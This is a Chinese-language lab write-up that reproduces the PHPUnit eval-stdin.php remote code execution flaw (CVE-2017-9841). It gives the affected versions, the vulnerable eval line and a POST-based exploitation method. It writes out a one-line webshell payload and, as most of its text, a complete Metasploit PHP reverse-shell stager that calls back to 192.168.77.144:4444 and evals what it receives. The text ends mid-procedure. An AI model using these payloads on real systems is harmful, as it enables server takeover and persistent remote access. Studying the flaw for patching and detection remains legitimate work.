phpunit 远程代码执行漏洞(CVE-2017-9841)
漏洞概述:
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
漏洞版本:
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
基本原理:
漏洞位于/phpunit/src/Util/PHP/eval-stdin.php。
eval(’?>’.file_get_contents(‘php://input’));
漏洞复现:
总体来说就是向vendor/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码。
例如直接执行phpinfo
用die()函数回显md5值
也可以直接写入一句话木马。<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>’);
但是第一次显示没有权限
给WEB目录赋予权限之后可以上传
菜刀访问第一次路径写错了提示404,第二次提示200但是报错,网上说可能是linux和Windows编码不兼容,或是PHP版本问题,目前还没解决。
在浏览器访问webshell地址,访问不到
第二次用msf生成PHP木马,查看木马的内容
/*<?php /**/ error_reporting(0); $ip = '192.168.77.144'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
用之前的方法将木马的内容粘贴到XX的位置: